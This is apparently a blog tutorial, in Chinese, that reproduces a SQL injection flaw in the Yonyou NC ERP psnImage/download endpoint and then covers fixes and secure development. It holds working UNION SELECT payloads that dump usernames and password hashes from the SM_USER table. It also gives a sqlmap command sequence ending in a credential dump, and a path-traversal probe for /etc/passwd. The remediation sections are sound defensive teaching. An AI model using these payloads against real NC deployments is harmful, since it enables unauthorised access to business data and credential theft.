用友NC psnImage/download接口SQL注入漏洞复现与防御分析
1. 项目概述:一次典型的企业级应用漏洞深度剖析
最近在整理一些历史漏洞的复现笔记,翻到了用友NC这个老牌ERP系统的一个经典案例——psnImage/download接口的SQL注入漏洞。这个漏洞本身并不复杂,但它的出现场景和利用方式,非常典型地反映了早期企业级应用在安全开发流程上的缺失。对于从事安全研究、渗透测试或者企业安全运维的朋友来说,这类漏洞的复现和分析过程,是理解“黑盒测试”到“代码审计”之间逻辑链条的绝佳练手材料。它不像那些需要复杂链式利用的RCE(远程代码执行)漏洞,SQL注入的机理直接明了,但危害同样巨大,可以直接导致核心业务数据泄露。今天,我就以一个内部测试环境为背景,带大家完整走一遍这个漏洞的复现、分析与思考过程,重点不仅在于“怎么做”,更在于“为什么能这么做”以及“如何举一反三”。
用友NC作为国内市场份额极高的集团型ERP解决方案,其代码量庞大,模块众多。psnImage/download这个接口,从路径名推测,很可能与人员(psn可能指Person)图片或头像的下载功能相关。在早期的开发模式中,开发者往往更关注功能实现,直接将前端传入的参数拼接进SQL语句,而没有经过严格的预处理,这就为SQL注入埋下了伏笔。复现这类漏洞,你需要准备一个存在漏洞的用友NC环境(可以是历史版本搭建的测试环境),一个抓包工具(如Burp Suite),以及基本的SQL注入知识。整个过程,我们将从信息收集开始,到漏洞点探测、利用验证,最后进行简单的原理推演和防御思考。
2. 漏洞环境搭建与前期信息收集
2.1 测试环境构建要点
复现任何漏洞,第一步永远是搭建一个安全、隔离的测试环境。对于用友NC这类复杂系统,我强烈建议使用虚拟机进行部署。你可以在一些开源漏洞平台或者历史镜像存档中找到存在漏洞的NC版本安装包。部署过程需遵循官方文档,通常涉及JDK、中间件(如WebLogic、Tomcat)和数据库(如Oracle、SQL Server)的安装与配置。这里有个关键点:务必确保测试环境与互联网及其他内部生产网络物理隔离。所有操作的目的仅限于技术研究,理解漏洞成因,提升防御能力。
部署成功后,访问系统首页,尝试使用默认或弱口令账号(如早期版本可能存在的nc/nc)登录,确认基本功能可用。我们的目标接口psnImage/download通常不需要高权限即可访问,因为它可能被用于前台显示用户头像等功能,这恰恰降低了利用门槛。
2.2 关键接口发现与初步探测
在未获得源代码的情况下,我们的入口点就是网络请求。启动Burp Suite,配置浏览器代理,然后在使用NC系统时,留意任何与“psnImage”、“download”、“image”等关键词相关的HTTP请求。一个常见的方法是,在查看组织人员信息的页面,打开浏览器开发者工具的“网络”(Network)选项卡,刷新页面,观察所有的图片请求URL。
你可能会发现一个类似这样的请求:http://<target_ip>:<port>/uap/psnImage/download?params=xxxxx
或者路径可能略有不同,但核心是找到包含psnImage/download的访问点。参数名可能是params、id、code等,其值看起来可能是一串编码后的字符串或直接的数字ID。用Burp Suite的Repeater模块捕获这个请求,我们接下来的所有测试都将基于此进行。
注意:在测试开始前,请务必在Burp Suite的
Project options->Misc中关闭“被动扫描”功能,并在Target->Scope中设置好目标范围,避免对非目标系统造成意外请求。
3. 漏洞原理分析与手工注入验证
3.1 SQL注入点判断与类型识别
捕获到疑似请求后,我们先进行最基础的注入点探测。假设原始请求参数为:params=1001
我们尝试在参数值后添加SQL注入的“探针”:
- 数字型注入探测:将参数改为
params=1001+1,观察返回结果是否与params=1002相同。如果相同,说明参数可能被直接用于算术运算,是数字型注入。 - 字符型注入探测:更常见的是字符型。我们尝试添加一个单引号
':params=1001'。- 如果页面返回了数据库错误信息(如ORA-xxxxx, SQL语法错误等),这几乎就是注入存在的铁证。
- 如果页面返回空白、报错或与正常响应明显不同,也提示可能存在注入。
- 逻辑真假测试:这是更可靠的方法。构造永真条件和永假条件。
- 永真:
params=1001' AND '1'='1或params=1001' OR '1'='1 - 永假:
params=1001' AND '1'='2 - 观察两种情况下服务器返回的页面内容(如图片是否正常加载、页面布局、返回数据长度等)是否存在差异。如果有明显差异,说明我们的输入影响了SQL查询的逻辑,注入点确认。
- 永真:
在用友NC的这个案例中,实际测试发现,对params参数提交1001'后,服务器返回了包含“SQLException”字样的错误页面,直接暴露了后端数据库为Oracle,并且错误信息中部分显示了拼接后的SQL语句片段。这属于非常明显的错误回显,极大便利了我们的注入利用。
3.2 手工联合查询(Union Select)获取数据
确认注入点且存在回显后,我们可以使用经典的UNION SELECT技术来获取数据。步骤如下:
- 确定字段数:使用
ORDER BY子句。params=1001' ORDER BY 5--。不断递增数字(5,6,7...),直到页面报错。假设ORDER BY 7时报错,ORDER BY 6正常,则说明当前查询语句返回的字段数为6。注释符--(Oracle中需为--后跟一个空格)用于注释掉原SQL语句后面的部分。 - 探测回显点:在已知字段数(例如6)后,构造联合查询,观察哪个字段的内容会显示在页面上。
params=1001' UNION SELECT null, null, null, null, null, null FROM DUAL--由于是Oracle数据库,我们需要FROM DUAL。然后,依次将null替换为有辨识度的字符串,如'a','b',或者数字1,2。params=1001' UNION SELECT '位置1', '位置2', '位置3', '位置4', '位置5', '位置6' FROM DUAL--查看页面响应,看哪个字符串出现在了页面的某个位置(可能是图片链接错误信息中的某个字段,也可能是直接的数据返回),这些位置就是我们可以控制的数据回显点。 - 获取数据库信息:利用回显点,查询系统表。
- 查询当前用户:
SELECT user FROM DUAL - 查询数据库版本:
SELECT banner FROM v$version WHERE rownum=1 - 例如,如果第2、3个字段回显:
params=1001' UNION SELECT null, user, (SELECT banner FROM v$version WHERE rownum=1), null, null, null FROM DUAL--
- 查询当前用户:
- 枚举表名和列名:这是关键一步,目的是找到存储敏感数据的表。
- 在Oracle中,我们可以查询
ALL_TABLES和ALL_TAB_COLUMNS。 - 枚举当前用户有权限的表:
params=1001' UNION SELECT null, table_name, null, null, null, null FROM user_tables--。你可能需要结合OFFSET和ROWNUM来翻页查看所有表。 - 假设发现一个名为
SM_USER的表(这很常见,用于存储用户信息),接下来枚举其列名:params=1001' UNION SELECT null, column_name, null, null, null, null FROM user_tab_columns WHERE table_name = 'SM_USER'--。
- 在Oracle中,我们可以查询
- 拖取敏感数据:最后,直接从目标表查询数据。假设
SM_USER表有USER_CODE(用户名)、USER_PASSWORD(密码哈希)等字段。params=1001' UNION SELECT null, USER_CODE, USER_PASSWORD, null, null, null FROM SM_USER--
通过以上步骤,我们就能手工获取到数据库中的核心业务数据,例如系统用户账号和加密后的密码。
实操心得:在手工注入时,Burp Suite的Repeater和Decoder模块是你的左膀右臂。遇到参数被编码的情况(如Base64、URL编码),先用Decoder解码,修改payload后再编码回去发送。同时,注意观察响应内容的细微差别,有时数据可能隐藏在JSON响应体、HTML注释或者某个图片的二进制数据头中,需要仔细查看。
4. 自动化工具辅助与深度利用
4.1 使用Sqlmap进行高效验证与利用
虽然手工注入能加深理解,但在实战或快速验证时,Sqlmap这样的自动化工具能极大提升效率。我们利用前面Burp Suite捕获的请求,将其保存为一个文本文件(如req.txt)。
# 基础探测,确认注入点 sqlmap -r req.txt --batch --risk=3 --level=3 # 如果确认存在注入,直接尝试获取当前数据库用户和名称 sqlmap -r req.txt --current-user --current-db # 枚举所有数据库(在Oracle中,这对应的是所有schema) sqlmap -r req.txt --dbs # 指定数据库(schema),枚举其中的表 sqlmap -r req.txt -D <schema_name> --tables # 指定表名,枚举其列 sqlmap -r req.txt -D <schema_name> -T <table_name> --columns # 最终,拖取指定列的数据 sqlmap -r req.txt -D <schema_name> -T <table_name> -C “USER_CODE,USER_PASSWORD,EMAIL” --dump使用Sqlmap时,有几个关键参数和技巧:
--batch:自动选择默认选项,适合非交互环境。--risk和--level:提高等级可以尝试更多、更“危险”的payload,有助于绕过一些简单的过滤。--tamper:如果遇到WAF或简单的过滤,可以尝试使用tamper脚本(如space2comment,between等)对payload进行混淆。- 谨慎使用
--os-shell或--os-pwn:在未获得明确授权且不了解环境的情况下,尝试获取系统Shell是极其危险和不负责任的行为,在合规测试中必须严格避免。
4.2 漏洞根源代码级推演
通过错误回显和注入结果,我们可以反向推测后端代码的大致逻辑。原始的Java代码可能类似于:
// 伪代码,展示问题 String params = request.getParameter("params"); // 直接从HTTP请求获取参数 String sql = "SELECT image_path, psn_name FROM psn_image_table WHERE id = '" + params + "'"; // 然后执行这条sql语句...问题一目了然:未经验证和过滤的用户输入,直接拼接进了SQL语句。这是SQL注入最根本的原因。正确的做法应该是使用预编译语句(PreparedStatement),将SQL语句的结构与数据分离:
String sql = "SELECT image_path, psn_name FROM psn_image_table WHERE id = ?"; PreparedStatement pstmt = connection.prepareStatement(sql); pstmt.setString(1, params); // 这里会对params进行安全的类型处理,注入语句会被当作普通字符串,而非SQL指令。 ResultSet rs = pstmt.executeQuery();5. 漏洞防御方案与安全开发建议
5.1 针对此漏洞的即时修复措施
如果企业在自查中发现了此类问题,应立即采取以下措施:
- 紧急临时修复(WAF/中间件层):在应用防火墙(WAF)或反向代理(如Nginx)上,针对
psnImage/download接口的params参数,设置严格的输入验证规则,例如只允许数字,或者对单引号、双引号、分号等SQL元字符进行过滤或转义。但这只是治标。 - 代码层根本修复:
- 定位代码:根据URL路径,在全站代码中搜索
psnImage、download等关键词,找到对应的Servlet、Controller或Action类。 - 修改实现:将拼接SQL的代码改为使用预编译语句(PreparedStatement)。这是最有效、最根本的解决方案。
- 参数化查询:确保所有数据库操作都使用参数化查询接口。
- 定位代码:根据URL路径,在全站代码中搜索
- 全面代码审计:以这个漏洞为线索,对系统中所有从
HttpServletRequest获取参数并参与数据库查询、命令执行、文件操作的地方进行全面的安全审计。这类问题往往不是孤例。
5.2 构建长效的安全开发体系
单点修复只能解决一个问题,要避免类似漏洞,需要从流程上保障:
- 安全编码规范:强制规定所有数据库访问必须使用参数化查询或ORM框架的安全方法(如MyBatis的
#{}, Hibernate的参数绑定),禁止字符串拼接。 - 输入验证与过滤:在业务逻辑层,对输入数据进行严格的类型、长度、格式校验(白名单原则优于黑名单)。
- 最小权限原则:连接数据库的应用程序账号,不应具有
DBA权限,只授予其完成业务所必需的最小权限(SELECT, INSERT, UPDATE等),避免通过注入点执行DROP TABLE或xp_cmdshell等危险操作。 - 错误信息处理:自定义统一的错误页面,避免将数据库的详细错误信息(如堆栈跟踪)直接返回给前端用户,这会给攻击者提供大量线索。
- 定期安全扫描与渗透测试:将静态代码安全扫描(SAST)和动态应用安全测试(DAST)纳入开发周期,并定期聘请第三方进行专业的渗透测试。
6. 拓展思考与同类漏洞挖掘
复现一个漏洞的价值,远不止于掌握一个POC(概念验证)。更重要的是掌握发现这类漏洞的方法论。
- 接口枚举与模糊测试:对于像用友NC这样的大型系统,可以使用目录扫描工具(如dirsearch, gobuster)或爬虫(如Burp Suite的爬虫功能),结合
/uap/,/portal/,/service/等常见路径,批量发现可能存在问题的API接口。对每个接口的每个参数,系统性地进行SQL注入、命令注入、路径遍历等测试。 - 关注文件上传与下载接口:
download、upload、image、file等关键词相关的接口,历来是漏洞高发区。除了SQL注入,还可能存在路径遍历(../../../etc/passwd)、任意文件读取/上传等漏洞。 - 参数传递模式分析:观察参数是直接传递(如
id=1),还是经过编码(Base64、JSON、XML)。对于编码参数,需要先解码再测试。有时参数可能被拼接在JSON或XML结构中,注入点可能在结构内部。 - 框架特性与历史漏洞关联:了解目标系统使用的技术栈(如Struts2, Spring MVC, 特定的ORM框架)。搜索该技术栈的已知历史漏洞(CVE),尝试对应的利用方式。很多漏洞的利用模式是相通的。
通过“用友NC psnImage/download SQL注入漏洞”这个具体的案例,我们完成了一次从环境搭建、手工探测、工具利用到原理分析与防御建议的完整闭环。这个过程清晰地展示了一个看似简单的参数拼接,如何演变成一条通往核心数据库的通道。对于安全从业者而言,每一次漏洞复现都是一次与开发者思维的对话,理解他们当时的疏忽,才能在未来自己的代码中,筑起更牢固的防线。在实战中,保持好奇心,坚持手动测试与工具辅助相结合,并始终将合规与授权放在第一位,你的安全研究之路才能走得既扎实又长远。
